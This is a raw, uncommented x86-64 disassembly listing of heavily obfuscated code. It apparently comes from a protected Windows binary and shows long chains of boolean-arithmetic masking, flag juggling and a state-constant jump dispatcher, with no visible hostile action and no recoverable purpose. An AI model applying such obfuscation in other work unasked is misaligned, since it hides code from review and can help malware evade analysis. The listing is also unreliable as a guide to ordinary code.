xor edi, 0x2b3dd114
mov edx, r9d
and edx, 0x311ac5ac
mov r11d, r15d
and r11d, 0xcee53a53
or r11d, edx
mov r8d, r11d
xor r8d, 0x311ac5ac
mov edx, r14d
xor ecx, 0x9c3d7e9b
and ecx, r14d
mov eax, edi
and eax, 0xe48e81b5
and r14d, 0x1b717e4a
or r14d, eax
not r14d
or r14d, edi
and edi, 0x48100020
and edx, 0xef5050
or edx, edi
xor edx, 0xef5050
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x60c55d4d
and ecx, 0x9f3aa2b2
or ecx, eax
mov r10d, ecx
xor r10d, 0xd7c5f2c2
mov eax, r8d
and eax, 0x1b717e4a
mov edi, r11d
xor edi, 0x2a6bbbe6
or edi, eax
mov eax, edi
not eax
and r9d, 0x3e46c71e
and r15d, 0xc1b938e1
or r15d, r9d
mov edx, r15d
xor edx, 0xc08800a1
and edx, 0xe48e81b5
xor r15d, 0x2537b954
or r15d, edx
mov edx, r15d
not edx
and edx, 0x71e9029c
and r15d, 0x8e16fd63
or r15d, edx
mov edx, r15d
mov r9d, ecx
xor r9d, 0x283a0d3d
mov esi, r9d
and esi, 0x4e125ea3
mov ebx, r10d
and ebx, 0xb1eda15c
or ebx, esi
mov esi, ebx
xor esi, 0x11612048
and esi, 0x1b717e4a
xor ebx, 0xaa9cdf16
or ebx, esi
mov esi, ebx
not esi
and esi, 0xf2356ee0
and ebx, 0xdca911f
or ebx, esi
xor r15d, 0x71e9029c
mov esi, eax
xor esi, r15d
and esi, eax
and edi, 0x34327986
and eax, 0xcbcd8679
or eax, edi
xor edx, 0x8a048461
and r15d, 0x34327986
and edx, 0xcbcd8679
or edx, r15d
xor edx, eax
mov eax, esi
and eax, edx
xor edx, esi
mov esi, ebx
xor esi, 0xdca911f
xor ebx, 0x42206c80
or edx, eax
mov edi, esi
xor edi, r14d
and edi, esi
and ebx, 0x46e86d89
and esi, 0xb9179276
or esi, ebx
mov eax, r14d
not eax
and r14d, 0x46e86d89
and eax, 0xb9179276
or eax, r14d
xor eax, esi
mov ebx, edi
not ebx
mov esi, ebx
and esi, 0x8ff1a48a
and edi, 0x700e5b75
or edi, esi
mov esi, eax
not esi
or ebx, esi
and esi, 0x8ff1a48a
and eax, 0x700e5b75
or eax, esi
xor ecx, 0x871a58da
and ecx, r10d
xor eax, edi
not ebx
or ebx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x9d6360bf
and edx, 0x629c9f40
or edx, esi
xor edx, ebx
xor edx, 0x9d6360bf
and edx, ebx
mov esi, ebx
not esi
and esi, 0xa3e1e658
and ebx, 0x5c1e19a7
or ebx, esi
mov r14d, r8d
and r9d, 0xb27ebf5a
and r10d, 0x4d8140a5
or r10d, r9d
mov edi, r10d
xor edi, 0x4d8140a5
xor r10d, 0xe2a11542
and r10d, edi
and r14d, edi
xor edi, r8d
xor ebx, 0xa3e1e658
or ebx, eax
not ebx
mov eax, edx
and eax, ebx
xor ebx, edx
mov edx, r11d
xor edx, 0xcee53a53
or ebx, eax
and r8d, 0x50dfaa18
xor r11d, 0x9e3a904b
and r11d, edx
mov eax, r8d
and eax, r11d
xor r11d, r8d
or r11d, eax
mov eax, r10d
not eax
mov edx, ecx
not edx
mov esi, eax
and esi, 0xb4d66e30
and r10d, 0x4b2991cf
or r10d, esi
or eax, edx
and edx, 0xb4d66e30
and ecx, 0x4b2991cf
or ecx, edx
xor ecx, r10d
not eax
or eax, ecx
mov ecx, r11d
not ecx
and ecx, eax
not eax
and eax, r11d
or eax, ecx
or edi, r14d
mov ecx, edi
not ecx
and ecx, 0xdf635a8
and edi, 0xf209ca57
or edi, ecx
mov ecx, edi
xor ecx, 0xd2008a07
xor edi, 0xdf635a8
mov edx, eax
not edx
mov esi, edx
and esi, 0x299f7450
and eax, 0xd6608baf
or eax, esi
or edx, edi
and edi, 0x299f7450
and ecx, 0xd6608baf
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xacd696d4
and edx, 0x5329692b
or edx, eax
mov eax, edx
xor eax, 0x1320680a
xor edx, 0xa0169604
and edx, 0xe01f9725
and eax, 0x1fe068da
or eax, edx
mov ecx, eax
xor ecx, 0x198321
xor eax, 0xac060c0
and eax, 0xeac674c4
and ecx, 0x15398b3b
or ecx, eax
mov eax, ecx
xor eax, 0x10310002
xor ecx, 0x62062040
and ecx, 0x670eab79
and eax, 0x98f15486
or eax, ecx
mov edx, eax
xor edx, 0x98f15486
mov r9d, eax
xor r9d, 0x670eab79
mov r8d, ebx
not r8d
xor ebx, 0xa4dc07bd
and ebx, r8d
mov ecx, r8d
or ecx, 0xa4dc07bd
mov esi, ecx
not esi
xor eax, 0x3c2d533b
mov r10d, eax
and r10d, r9d
and eax, edx
mov edx, ebx
not edx
mov edi, edx
and edi, 0x743da649
and ebx, 0x8bc259b6
or ebx, edi
or edx, ecx
and ecx, 0x743da649
and esi, 0xb025802
or esi, ecx
xor esi, ebx
not edx
or edx, esi
mov ebx, r10d
not ebx
mov ecx, eax
not ecx
mov edi, ebx
and edi, 0xb3edbaff
and r10d, 0x4c124500
or r10d, edi
or ebx, ecx
and ecx, 0xb3edbaff
and eax, 0x4c124500
or eax, ecx
xor eax, r10d
not ebx
or ebx, eax
mov eax, edx
not eax
and eax, 0x85ef0aa4
and edx, 0x7a10f55b
or edx, eax
mov eax, ebx
not eax
and eax, 0x85ef0aa4
and ebx, 0x7a10f55b
or ebx, eax
xor ebx, edx
mov eax, r8d
and eax, r9d
xor r8d, r9d
or r8d, eax
not r8d
mov eax, ebx
and eax, r8d
xor r8d, ebx
or r8d, eax
mov r9d, r8d
not r9d
mov ebx, r9d
and ebx, 0x4280043e
mov eax, r9d
and eax, r8d
mov r10d, r8d
mov edi, r8d
xor edi, 0x5e54d72
and edi, r8d
and r8d, 0xbd7ffbc1
or r8d, ebx
xor r8d, 0xbd7ffbc1
mov ebx, r8d
and ebx, eax
xor eax, r8d
or eax, ebx
mov edx, eax
not edx
and edx, 0xbfaff3ee
and eax, 0x40500c11
or eax, edx
mov edx, eax
xor edx, 0x11
and edx, 0xa7ac92fd
xor eax, 0xe7fc9eec
or eax, edx
mov edx, eax
not edx
and edx, 0xbd32976a
and eax, 0x42cd6895
or eax, edx
mov edx, eax
xor edx, 0x42cd6895
xor eax, 0x3d32876a
mov esi, r9d
and esi, 0xf594416e
and r10d, 0xa6bbe91
or r10d, esi
mov ecx, r10d
xor ecx, 0x8432c00
and ecx, 0x58536d02
xor r10d, 0x5238d393
or r10d, ecx
and eax, 0x3fffa7fe
mov ebx, edx
and ebx, 0xc0005801
or ebx, eax
xor ebx, 0xc0005801
mov eax, ebx
mov ecx, r10d
xor ecx, 0x3a650565
mov esi, ecx
and esi, r10d
mov r8d, ebx
and r8d, r10d
xor ebx, r10d
not r10d
and eax, 0xc59afa9a
and edx, 0x3a650565
or edx, eax
and ecx, r10d
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
or ebx, r8d
mov eax, ebx
not eax
and eax, 0x2df26bf8
and ebx, 0xd20d9407
or ebx, eax
xor ebx, 0xd20d9407
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x53120
mov ecx, ebx
and ecx, 0xfc004ec6
or ecx, eax
xor ecx, 0xfc004ec6
and ebx, 0x3fa8019
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xf462897e
and ebx, 0xb9d7681
or ebx, eax
mov eax, ebx
xor eax, 0x50349b9a
mov ecx, ebx
xor ecx, 0xae880425
and ecx, 0xae989d37
xor ebx, 0xfeac06ad
and ebx, eax
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0xb26b5fcf
and ebx, 0x4d94a030
or ebx, eax
mov eax, ebx
xor eax, 0xe30c3d07
and r9d, 0x5e54d72
mov ecx, r9d
and ecx, edi
xor edi, r9d
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0xfa1ab28d
and edi, 0x5e54d72
or edi, ecx
mov ecx, ebx
xor ecx, 0x14d340e0
and ecx, 0xb4db68e2
xor ebx, 0xf841f317
and ebx, eax
and eax, 0x4b24971d
or eax, ecx
mov r9d, eax
xor r9d, 0x4b24971d
mov ecx, edi
not ecx
and ecx, 0xfce1875c
mov r11d, edi
and r11d, 0x31e78a3
or r11d, ecx
mov r10d, r11d
xor r10d, 0x31e78a3
mov ecx, eax
xor ecx, 0xaf96a6f2
and ecx, r9d
mov r8d, r10d
and r8d, 0x1b4dce10
and edi, 0xe4b231ef
or edi, r8d
mov edx, ecx
not edx
mov r8d, edx
and r8d, 0x881d947b
and ecx, 0x77e26b84
or ecx, r8d
mov esi, ebx
not esi
or edx, esi
and esi, 0x881d947b
and ebx, 0x77e26b84
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, edi
not edi
and edi, edx
or edi, ecx
xor eax, 0xb4db68e2
mov ecx, eax
and ecx, 0x88b46092
and r9d, 0x774b9f6d
or r9d, ecx
mov r8d, dword [0x1400508cc]
xor r11d, 0xfce1875c
or eax, r11d
and r11d, 0x88b46092
and r10d, 0x774b9f6d
or r10d, r11d
xor r10d, r9d
not eax
or eax, r10d
not eax
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xaa669a02
and edx, eax
or eax, 0x559965fd
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xf49a7e70
and ecx, 0xa648002
or ecx, edi
or eax, ebx
and ebx, 0xf49a7e70
and edx, 0xb65818f
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x291a3088
and eax, 0xd6e5cf77
or eax, ecx
mov ecx, eax
xor ecx, 0x58830020
xor eax, 0x2580808
and ecx, 0xd9a7a2a2
and eax, 0x26585d5d
or eax, ecx
mov ecx, eax
xor ecx, 0xd8822222
xor eax, 0x4500d14
and eax, 0x5758d94
and ecx, 0xfa8a726b
or ecx, eax
xor ecx, 0xfa8a726b
setne r10b
sete r9b
cmp r8d, 0xa
setl r14b
cmp r8d, 9
setg sil
mov r8d, esi
xor r8b, r9b
mov ecx, r8d
xor cl, r14b
and cl, r8b
mov ebx, r10d
and bl, r14b
mov r11d, esi
and r11b, r9b
or bl, r11b
mov edx, ecx
xor dl, 1
mov eax, ebx
xor al, 1
and bl, dl
or dl, al
and al, cl
or al, bl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r15d, eax
xor r15b, 1
mov edi, eax
or dil, r15b
mov edx, edi
xor dl, 1
mov ebx, edx
and bl, dil
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
xor bl, r15b
xor bl, 1
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, ebx
xor al, dil
or dil, bl
xor dil, 1
or dil, al
or r11b, r8b
xor r11b, 1
mov eax, r8d
and al, r11b
xor r11b, r8b
or r11b, al
mov r8d, r11d
xor r8b, 1
and r9b, r14b
or r14b, r10b
and sil, r10b
or sil, r9b
mov eax, r14d
xor al, sil
xor sil, 1
xor al, 1
or sil, r14b
xor sil, 1
or sil, al
mov r9d, esi
xor r9b, 1
mov edx, esi
and dl, r9b
mov eax, esi
xor al, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, al
mov r10d, r11d
xor r10b, r8b
and r10b, r11b
mov ecx, edx
xor cl, 1
mov ebx, edx
xor bl, cl
mov r15d, r11d
xor r15b, cl
xor cl, r8b
or r8b, r11b
and bl, dl
mov r14d, r8d
xor r14b, 1
or r9b, sil
mov edx, r10d
xor dl, r8b
and dl, r10b
and r8b, r10b
xor r10b, 1
and r10b, r14b
or r8b, r10b
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov eax, r9d
xor al, bl
xor bl, 1
or bl, r9b
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, r8d
xor al, 1
and al, bl
xor bl, 1
and bl, r8b
or bl, al
and r15b, r11b
mov eax, r15d
and al, cl
xor cl, r15b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and al, dl
and bl, cl
or bl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
mov eax, edi
mov edx, ecx
xor dl, dil
mov r8d, edx
and r8b, cl
and dil, dl
mov r9d, r8d
and r9b, dil
xor dil, r8b
xor al, 1
or dil, r9b
mov r8d, edi
xor r8b, 1
xor dil, al
xor dil, 1
or dil, r8b
xor dl, 1
xor cl, dl
and cl, dl
mov r8d, eax
and r8b, bl
xor al, bl
mov edx, edi
xor dl, 1
or al, r8b
xor cl, 1
mov ebx, ecx
or bl, al
xor bl, 1
xor cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, cl
or al, dl
or dl, cl
xor dl, 1
or dl, bl
xor al, 1
or cl, dil
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
mov eax, edx
xor al, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, 1
mov eax, 0xb6d659eb
mov ebx, 0xf65f02e8
cmovne eax, ebx
test dl, 1
mov edx, 0xb6d659eb
cmovne eax, edx
test cl, 1
cmove eax, ebx
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
cmp eax, 0x13231b03
je 0x14001612f
cmp eax, 0x12c3258d
jne 0x140001cd0
jmp 0x140016752
mov eax, dword [0x1400508d0]
lea r9d, [rax - 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov eax, r8d
and eax, r9d
mov edx, eax
not edx
mov ebx, r9d
and ebx, 0x5cac583f
mov ecx, r8d
and ecx, 0xa353a7c0
or ecx, ebx
mov esi, r9d
or esi, edx
and edx, 0x5cac583f
and eax, 0xa353a7c0
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, esi
xor ecx, 0x73948eaa
and eax, ecx
and ecx, esi
mov edx, eax
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x35603c79
and eax, 0xca9fc386
or eax, edi
or edx, ebx
and ebx, 0x35603c79
and ecx, 0xca9fc386
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x73948eaa
and edx, 0x8c6b7155
or edx, eax
mov eax, edx
not eax
and eax, 0x9fc99f10
and edx, 0x603660ef
or edx, eax
mov eax, edx
xor eax, 0x9fc99f10
mov ecx, edx
xor ecx, 0x40000001
and ecx, 0x40081411
xor edx, 0xeb610129
and edx, eax
and eax, 0x34a08a28
or eax, ecx
xor eax, 0x34a08a28
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x9f4ed81a
and edx, 0x60b127e5
or edx, eax
mov eax, edx
xor eax, 0x419301c
xor edx, 0xe2444621
and edx, 0xf244cfe1
and eax, 0xdbb301e
or eax, edx
mov ecx, eax
xor ecx, 0xd0040721
xor eax, 0x8231018
and eax, 0x2a63d8d8
and ecx, 0xd59c2727
or ecx, eax
mov edx, ecx
xor edx, 0x2219098
xor ecx, 0xd5000405
and ecx, 0xfd424c45
and edx, 0x2bdb3ba
or edx, ecx
mov eax, edx
not eax
and eax, 0x25e53c8b
and edx, 0xda1ac374
or edx, eax
mov r10d, edx
xor r10d, 0x27588f31
xor edx, 0xd8a770ce
mov eax, r8d
and eax, 0x823a83
mov ecx, r9d
and ecx, 0x40080030
or ecx, eax
xor ecx, 0x40080030
mov eax, r9d
and eax, 0xbf75c54c
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x82d4427c
and eax, 0x7d2bbd83
or eax, ecx
mov ebx, eax
xor ebx, 0x2c208020
and r8d, 0x51c2273
and r9d, 0xfae3dd8c
or r9d, r8d
mov ecx, r9d
xor ecx, 0xea22c000
xor eax, 0xc25e78cf
mov esi, eax
and esi, 0x11d93f9f
and ebx, 0xee26c060
or ebx, esi
xor r9d, 0x1182213
and r9d, 0x11d93f9f
and ecx, 0xee26c060
or ecx, r9d
xor ecx, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov ebx, ecx
and ebx, edx
mov edi, r10d
and edi, eax
or edi, ebx
mov r8d, edi
xor r8d, edx
and r8d, edi
mov ebx, edx
and ebx, 0xd6267e71
and r10d, 0x29d9818e
or r10d, ebx
mov ebx, r10d
xor ebx, 0x82
xor r10d, 0x20660
or edx, 0x429b86f7
mov esi, edx
not esi
mov edi, ecx
and edi, 0x408a8461
xor ecx, 0xbd647908
and ecx, eax
and eax, 0x2110296
or eax, edi
mov edi, eax
xor edi, 0x100284
xor eax, 0xfdeefd69
or r10d, 0x8c001108
and r10d, 0x8c9b976c
and ebx, 0x42000093
or ebx, r10d
and edx, 0x8c9b976c
and esi, 0x31646800
or esi, edx
xor esi, ebx
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0xefcd8452
and edi, 0x1202a5
or edi, ebx
or eax, edx
and edx, 0xefcd8452
and ecx, 0x10327bad
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, esi
not ecx
and ecx, eax
not eax
and eax, esi
or eax, ecx
mov ecx, r8d
not ecx
mov r9d, eax
not r9d
and eax, ecx
or ecx, r9d
not ecx
and r9d, r8d
or r9d, eax
mov eax, ecx
and eax, r9d
xor r9d, ecx
or r9d, eax
mov r11d, r9d
not r11d
mov ecx, r11d
and ecx, 0x1c900169
mov eax, r9d
and eax, 0xe36ffe96
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe36ffe96
and eax, 0x1c900169
or eax, ecx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov ecx, eax
not ecx
and ecx, 0x13f28d35
and eax, 0xec0d72ca
or eax, ecx
mov edi, eax
xor edi, 0x828530
mov esi, edx
not esi
xor eax, 0xec0d72cb
mov ecx, esi
and ecx, 0x5f755a04
and edx, 0xa08aa5fb
or edx, ecx
or esi, eax
and eax, 0x5f755a04
and edi, 0xa08aa5fb
or edi, eax
xor edi, edx
not esi
or esi, edi
mov eax, esi
not eax
and eax, 0xe805b67
and esi, 0xf17fa498
or esi, eax
mov eax, esi
xor eax, 0x70742498
xor esi, 0x6800266
and eax, 0x78747d99
and esi, 0x878b8266
or esi, eax
mov r12d, esi
xor r12d, 0x78747d99
xor esi, 0x878b8266
mov eax, r11d
and eax, 0xbfdd2367
mov ebx, r9d
and ebx, 0x4022dc98
or ebx, eax
mov eax, ebx
not eax
and eax, 0x4022dc98
and ebx, 0xbfdd2367
or ebx, eax
mov eax, ebx
not eax
and ebx, 0x602265d6
and eax, 0x9fdd9a28
or eax, ebx
mov ebx, eax
xor ebx, 0x9fdd9a28
xor eax, 0x602265d7
and r9d, 0x304f7b48
mov edi, r11d
and edi, 0xcfb084b7
or edi, r9d
xor edi, 0xcfb084b6
and r11d, 0xfffffffe
or r11d, edi
mov edi, r11d
not edi
and edi, eax
or eax, r11d
not eax
and r11d, ebx
or r11d, edi
mov ebx, eax
and ebx, r11d
xor r11d, eax
or r11d, ebx
mov eax, r12d
and eax, 0x1bfada1e
mov ecx, esi
and ecx, 0xe40525e1
or ecx, eax
xor ecx, 0xe40525e1
mov r9d, r12d
and r9d, esi
mov eax, ecx
and eax, r9d
xor r9d, ecx
or r9d, eax
mov r10d, r11d
not r10d
mov edi, r9d
not edi
mov dword [rbp - 0x28], edi
mov eax, r9d
and eax, 0xaf652f7f
mov ecx, edi
and ecx, 0x509ad080
or ecx, eax
xor ecx, 0x4f4787c6
and edi, 0xe022a8b9
or edi, ecx
mov eax, edi
not eax
and eax, 0x2aa0afc3
and edi, 0xd55f503c
or edi, eax
mov ebx, edi
xor ebx, 0xd55f503c
mov eax, r12d
and eax, 0x1fdd5746
and esi, 0xe022a8b9
or esi, eax
xor r12d, esi
and r12d, esi
mov eax, r11d
and eax, 0x4f618b52
mov r15d, r10d
and r15d, 0xb09e74ad
or r15d, eax
mov eax, r15d
xor eax, 0xa00220a9
and eax, 0xe022a8b9
xor r15d, 0x50bcdc14
or r15d, eax
mov eax, r15d
not eax
and eax, 0x7f934331
and r15d, 0x806cbcce
or r15d, eax
mov eax, r10d
and eax, 0x4b4d8776
mov r14d, r11d
and r14d, 0xb4b27889
or r14d, eax
mov eax, r14d
xor eax, 0x14905000
and eax, 0x1fdd5746
xor r14d, 0xab6f2fcf
or r14d, eax
mov eax, edi
xor eax, 0x2802681
and eax, 0x169226a9
xor edi, 0x6956b93f
and edi, ebx
and ebx, 0xe96dd956
or ebx, eax
mov r13d, ebx
xor r13d, 0xe96dd956
mov ecx, r12d
mov edx, r12d
xor edx, 0xbc09e903
and edx, r12d
not r12d
and r12d, 0x63866c44
and ecx, 0x9c7993bb
or ecx, r12d
mov eax, r13d
and eax, 0xbc09e903
mov r12d, eax
and r12d, edi
xor edi, eax
mov esi, ecx
xor ecx, 0x63866c44
or edi, r12d
mov eax, ecx
or eax, 0x43f616fc
mov r12d, eax
not r12d
mov r8d, eax
and r8d, 0xb896479f
and r12d, 0x409a800
or r12d, r8d
mov r8d, edx
not r8d
or eax, r8d
and r8d, 0xb896479f
and edx, 0x4769b860
or edx, r8d
xor edx, r12d
not eax
or eax, edx
mov edx, edi
not edx
and edx, eax
not eax
and eax, edi
xor ebx, 0x169226a9
or eax, edx
mov edx, ebx
and edx, 0x276cd6dd
and r13d, 0xd8932922
or r13d, edx
mov r8d, r15d
xor r8d, 0x806cbcce
xor r15d, 0x7f934331
xor esi, 0x98110122
or ebx, ecx
and ecx, 0x276cd6dd
and esi, 0xd8932922
or esi, ecx
mov r12d, r14d
not r12d
xor esi, r13d
not ebx
or ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xf987dcdb
and ebx, 0x6782324
or ebx, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x949f34a6
and eax, 0x6b60cb59
or eax, ecx
mov ecx, ebx
xor ecx, 0x2600300
xor ebx, 0xf987dcdb
or esi, ebx
and ebx, 0x949f34a6
and ecx, 0x6b60cb59
or ecx, ebx
xor ecx, eax
not esi
or esi, ecx
and r14d, 0x5cc1e663
mov edx, r12d
and edx, 0xa33e199c
or edx, r14d
mov ecx, edx
xor ecx, 0xa33e199c
mov eax, r15d
and eax, 0x852f560f
mov ebx, r8d
and ebx, 0x7ad0a9f0
or ebx, eax
mov eax, ecx
and eax, 0x852f560f
and r12d, 0x7ad0a9f0
or r12d, eax
mov eax, ebx
not eax
and eax, r12d
not r12d
and r12d, ebx
xor edx, 0x5cc1e663
or r12d, eax
mov eax, r8d
and eax, 0x29c05ed2
and r15d, 0xd63fa12d
or r15d, eax
or r8d, edx
and edx, 0x29c05ed2
and ecx, 0xd63fa12d
or ecx, edx
xor ecx, r15d
not r8d
or r8d, ecx
mov eax, r8d
not eax
and eax, 0x4de6b218
and r8d, 0xb2194de7
or r8d, eax
xor r8d, 0xb2194de7
mov eax, r12d
and eax, r8d
xor r8d, r12d
or r8d, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xc568f34b
and esi, 0x3a970cb4
or esi, ecx
mov ecx, r8d
not ecx
xor esi, 0xc568f34b
or esi, ecx
not esi
and ecx, 0x6f0ba542
and r8d, 0x90f45abd
or r8d, ecx
xor r8d, 0x6f0ba542
or r8d, eax
not r8d
mov eax, esi
and eax, r8d
xor r8d, esi
or r8d, eax
mov ecx, r9d
xor ecx, r11d
and ecx, r9d
mov eax, dword [rbp - 0x28]
and eax, 0x5fd87978
and r9d, 0xa0278687
or r9d, eax
and r11d, 0x5fd87978
and r10d, 0xa0278687
or r10d, r11d
xor r10d, r9d
mov eax, ecx
not eax
mov edx, r10d
not edx
mov ebx, eax
and ebx, 0x2e8eeb9
and ecx, 0xfd171146
or ecx, ebx
or eax, edx
and edx, 0x2e8eeb9
and r10d, 0xfd171146
or r10d, edx
xor r10d, ecx
not eax
or eax, r10d
mov ecx, eax
not ecx
and ecx, 0xafb12ddb
and eax, 0x504ed224
or eax, ecx
mov edx, eax
xor edx, 0x69204
xor eax, 0x6002dc3
and eax, 0x56486de3
and edx, 0xa9b7921c
or edx, eax
mov ecx, edx
xor ecx, 0xa1821204
xor edx, 0x44486523
and edx, 0x4c7de53b
and ecx, 0xb3821ac4
or ecx, edx
mov ebx, ecx
xor ebx, 0x4c7de53b
xor ecx, 0x22001240
mov edi, r8d
not edi
mov r10d, edi
or r10d, ebx
mov edx, r10d
not edx
and edi, 0xdda28c8c
and r8d, 0x225d7373
or r8d, edi
and ebx, 0xdda28c8c
and ecx, 0x225d7373
or ecx, ebx
xor ecx, r8d
mov ebx, ecx
not ebx
mov eax, r10d
and eax, 0xd63e647a
and edx, 0x29c19b85
or edx, eax
or r10d, ebx
and ebx, 0xd63e647a
and ecx, 0x29c19b85
or ecx, ebx
xor ecx, edx
not r10d
or r10d, ecx
mov r8d, r10d
not r8d
mov eax, r8d
and eax, 0xdba32ec6
mov ecx, r10d
and ecx, 0x245cd139
or ecx, eax
xor ecx, 0x245cd139
mov eax, r8d
and eax, r10d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa9e719fc
and eax, 0x5618e603
or eax, ecx
mov ecx, eax
xor ecx, 0x5618e603
xor eax, 0x81e70128
and eax, 0x97e7e32a
mov edx, ecx
and edx, 0x68181cd5
or edx, eax
xor edx, 0xa411e08c
and ecx, 0x33f603a6
or ecx, edx
mov eax, ecx
not eax
and eax, 0x534836
and ecx, 0xffacb7c9
or ecx, eax
mov edx, ecx
xor edx, 0xc38c83c0
xor ecx, 0x534836
mov eax, r8d
and eax, 0xcc09fc59
mov esi, r10d
and esi, 0x33f603a6
or esi, eax
mov eax, esi
xor eax, r8d
and eax, esi
mov r9d, eax
not r9d
mov ebx, r9d
and ebx, 0x4df0d194
and eax, 0xb20f2e6b
or eax, ebx
mov edi, eax
xor edi, 0xb20f2e6b
mov ebx, ecx
and ebx, edi
xor edi, ecx
and ecx, 0x3c303c1b
and edx, 0xc3cfc3e4
or edx, ecx
xor eax, 0xc301010
or eax, 0xc3cfc3e4
mov ecx, eax
not ecx
or r9d, 0x3c303c1b
mov esi, r9d
not esi
and eax, 0x7c8298c1
and ecx, 0x30241a
or ecx, eax
and r9d, 0x7c8298c1
and esi, 0x834d4324
or esi, r9d
xor esi, ecx
mov eax, edx
not eax
and eax, 0xac2e6407
and edx, 0x53d19bf8
or edx, eax
mov eax, esi
not eax
and eax, 0xac2e6407
and esi, 0x53d19bf8
or esi, eax
xor esi, edx
or edi, ebx
not edi
mov eax, esi
and eax, edi
xor edi, esi
or edi, eax
mov eax, edi
not eax
and eax, 0xddb7fe6b
and edi, 0x22480194
or edi, eax
mov eax, edi
not eax
and eax, 0xf0164ef0
and edi, 0xfe9b10f
or edi, eax
mov eax, edi
xor eax, 0x1e57b33d
xor edi, 0x60004000
and edi, 0x68404000
mov ecx, eax
and ecx, 0x2943081
or ecx, edi
xor ecx, 0x2943081
and eax, 0x952b8f7e
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x952b8f7e
and eax, 0x6ad47081
or eax, ecx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x62b0b8d3
and ecx, ebx
and ebx, eax
mov edx, ecx
not edx
mov eax, ebx
not eax
mov edi, edx
and edi, 0x4c85b27d
and ecx, 0xb37a4d82
or ecx, edi
or edx, eax
and eax, 0x4c85b27d
and ebx, 0xb37a4d82
or ebx, eax
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
and eax, 0x62b0b8d3
not edx
and edx, 0x9d4f472c
or edx, eax
mov edi, edx
not edi
and edx, 0x3910b20e
and edi, 0xc6ef4df1
or edi, edx
mov r9d, edi
xor r9d, 0xc6ef4df1
mov eax, r8d
and eax, 0xe230c79
mov edx, r10d
and edx, 0xf1dcf386
or edx, eax
mov eax, edx
not eax
and eax, 0xf1dcf386
and edx, 0xe230c79
or edx, eax
mov eax, edx
not eax
mov ebx, edx
and ebx, 0xf2617f1a
and eax, 0xd9e80e5
or eax, ebx
or edx, r10d
and r10d, 0xf2617f1a
and r8d, 0xd9e80e5
or r8d, r10d
xor r8d, eax
not edx
or edx, r8d
mov r11d, edx
not r11d
xor edi, 0x3910b20e
mov eax, r9d
mov r8d, edi
and r8d, r9d
mov ecx, edi
and ecx, 0x14631f3b
and r9d, 0xeb9ce0c4
or r9d, ecx
xor r9d, 0xcd8c8c7
or r9d, edi
and edi, 0xe4652bef
and eax, 0x1b9ad410
or eax, edi
xor eax, 0x1b9ad410
mov ecx, eax
and ecx, r8d
xor r8d, eax
or r8d, ecx
mov esi, r11d
mov ecx, edx
mov ebx, edx
and ebx, 0xe7442803
and r11d, 0x18bbd7fc
or r11d, ebx
not r11d
or r11d, edx
and edx, 0xc26e8396
and esi, 0x3d917c69
or esi, edx
mov eax, esi
xor eax, 0x1d902008
xor esi, 0x40020004
or ecx, 0x5dbae9ac
mov r13d, ecx
not r13d
or esi, 0x80000452
and esi, 0xc0024c76
and eax, 0x1db8a188
or eax, esi
and ecx, 0xc0024c76
and r13d, 0x22451201
or r13d, ecx
xor r13d, eax
mov eax, r13d
not eax
and eax, 0x19608e80
and r13d, 0xe69f717f
or r13d, eax
mov r14d, r13d
xor r14d, 0xbb2598d3
mov r10d, r8d
not r10d
mov ecx, r10d
and ecx, 0xc4a3208d
